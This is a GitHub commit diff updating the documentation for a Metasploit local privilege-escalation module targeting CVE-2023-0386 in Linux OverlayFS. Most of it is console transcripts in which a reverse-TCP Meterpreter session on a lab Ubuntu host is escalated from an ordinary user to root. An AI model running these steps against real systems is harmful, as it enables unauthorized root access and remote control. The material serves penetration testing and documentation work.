Skip to content

Commit b8f1bc3

Browse files
Takahiro-YokoTakahiro-Yoko
committed
Update doc
1 parent dd93284 commit b8f1bc3

File tree

1 file changed

+42
-53
lines changed

1 file changed

+42
-53
lines changed

‎documentation/modules/exploit/linux/local/cve_2023_0386_overlayfs_priv_esc.md

Lines changed: 42 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ The vulnerability affects:
1313
This module was successfully tested on:
1414

1515
* Ubuntu kernel version 5.13.0-1021-oem on x64/amd64
16+
* Ubuntu kernel version 6.0.19-060019-generic on x64/amd64
1617

1718
### Install
1819

@@ -59,99 +60,87 @@ as serving as a location to store the various files and directories created by t
5960
The default value is `/tmp`
6061

6162
## Scenarios
62-
### Ubuntu 5.13.0-1021-oem x64/amd64 COMPILE=Auto
63+
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=Auto
6364
```
6465
msf6 > use exploit/multi/handler
6566
[*] Using configured payload generic/shell_reverse_tcp
6667
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp
6768
6869
[*] Started reverse TCP handler on 192.168.56.1:4444
69-
[*] Sending stage (3045380 bytes) to 192.168.56.102
70-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:54776) at 2024-09-05 22:48:42 +0900
70+
[*] Sending stage (3045380 bytes) to 192.168.56.10
71+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.10:59844) at 2024-09-09 08:22:36 +0900
7172
7273
meterpreter > getuid
7374
Server username: ubu
7475
meterpreter > background
7576
[*] Backgrounding session 1...
7677
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
77-
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
78+
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
7879
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=Auto
7980
8081
[*] Started reverse TCP handler on 192.168.56.1:4444
8182
[*] Running automatic check ("set AutoCheck false" to disable)
82-
[+] The target appears to be vulnerable. Linux kernel version found: 5.13.0
83-
[*] Writing '/tmp/.a4HSc5ks' (334 bytes) ...
83+
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
84+
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
85+
[*] Writing '/tmp/.AHeqRyKHX/.2zkk6' (1068952 bytes) ...
8486
[*] Launching exploit...
85-
[*] Sending stage (3045380 bytes) to 192.168.56.102
86-
[+] Deleted /tmp/.a4HSc5ks
87-
[+] Deleted /tmp/.Smx0d11hH
88-
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:54778) at 2024-09-05 22:49:28 +0900
87+
[+] Deleted /tmp/.AHeqRyKHX
88+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.10:54770) at 2024-09-09 08:23:02 +0900
8989
9090
meterpreter > getuid
9191
Server username: root
92+
meterpreter > sysinfo
93+
Computer : 192.168.56.10
94+
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
95+
Architecture : x64
96+
BuildTuple : x86_64-linux-musl
97+
Meterpreter : x64/linux
9298
```
9399

94-
### Ubuntu 5.13.0-1021-oem x64/amd64 COMPILE=True
100+
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=True
95101
```
96-
msf6 > use exploit/multi/handler
97-
[*] Using configured payload generic/shell_reverse_tcp
98-
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp
99-
100-
[*] Started reverse TCP handler on 192.168.56.1:4444
101-
[*] Sending stage (3045380 bytes) to 192.168.56.102
102-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:54710) at 2024-09-05 22:45:40 +0900
103-
104-
meterpreter > getuid
105-
Server username: ubu
106-
meterpreter > background
107-
[*] Backgrounding session 1...
108-
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
109-
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
110102
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=True
111103
112104
[*] Started reverse TCP handler on 192.168.56.1:4444
113105
[*] Running automatic check ("set AutoCheck false" to disable)
114-
[+] The target appears to be vulnerable. Linux kernel version found: 5.13.0
115-
[*] Writing '/tmp/.uKkt1jtoJ' (334 bytes) ...
106+
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
107+
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
108+
[*] Writing '/tmp/.cvnVjW/.j3OSujf' (1068952 bytes) ...
116109
[*] Launching exploit...
117-
[*] Sending stage (3045380 bytes) to 192.168.56.102
118-
[+] Deleted /tmp/.uKkt1jtoJ
119-
[+] Deleted /tmp/.oaqii9pj
120-
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:54712) at 2024-09-05 22:46:19 +0900
110+
[+] Deleted /tmp/.cvnVjW
111+
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.10:51750) at 2024-09-09 08:23:28 +0900
121112
122113
meterpreter > getuid
123114
Server username: root
115+
meterpreter > sysinfo
116+
Computer : 192.168.56.10
117+
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
118+
Architecture : x64
119+
BuildTuple : x86_64-linux-musl
120+
Meterpreter : x64/linux
124121
```
125122

126-
### Ubuntu 5.13.0-1021-oem x64/amd64 COMPILE=False
123+
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=False
127124
```
128-
msf6 > use exploit/multi/handler
129-
[*] Using configured payload generic/shell_reverse_tcp
130-
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp
131-
132-
[*] Started reverse TCP handler on 192.168.56.1:4444
133-
[*] Sending stage (3045380 bytes) to 192.168.56.102
134-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:54616) at 2024-09-05 22:36:45 +0900
135-
136-
meterpreter > getuid
137-
Server username: ubu
138-
meterpreter > background
139-
[*] Backgrounding session 1...
140-
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
141-
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
142125
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=False
143126
144127
[*] Started reverse TCP handler on 192.168.56.1:4444
145128
[*] Running automatic check ("set AutoCheck false" to disable)
146-
[+] The target appears to be vulnerable. Linux kernel version found: 5.13.0
147-
[*] Writing '/tmp/.9tZar0/cve-2023-0386' (2215928 bytes) ...
148-
[*] Writing '/tmp/.Z37h3bkJpw' (334 bytes) ...
129+
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
130+
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
131+
[*] Writing '/tmp/.wWno7SA/.Bv3HUIrHyr' (18712 bytes) ...
132+
[*] Writing '/tmp/.wWno7SA/.r1nzG9LZ' (16824 bytes) ...
133+
[*] Writing '/tmp/.wWno7SA/.g0QNeF' (1068952 bytes) ...
149134
[*] Launching exploit...
150-
[*] Sending stage (3045380 bytes) to 192.168.56.102
151-
[+] Deleted /tmp/.Z37h3bkJpw
152-
[+] Deleted /tmp/.9tZar0
153-
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:54618) at 2024-09-05 22:37:31 +0900
135+
[+] Deleted /tmp/.wWno7SA
136+
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.10:33860) at 2024-09-09 08:23:50 +0900
154137
155138
meterpreter > getuid
156139
Server username: root
140+
meterpreter > sysinfo
141+
Computer : 192.168.56.10
142+
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
143+
Architecture : x64
144+
BuildTuple : x86_64-linux-musl
145+
Meterpreter : x64/linux
157146
```

0 commit comments

Comments
 (0)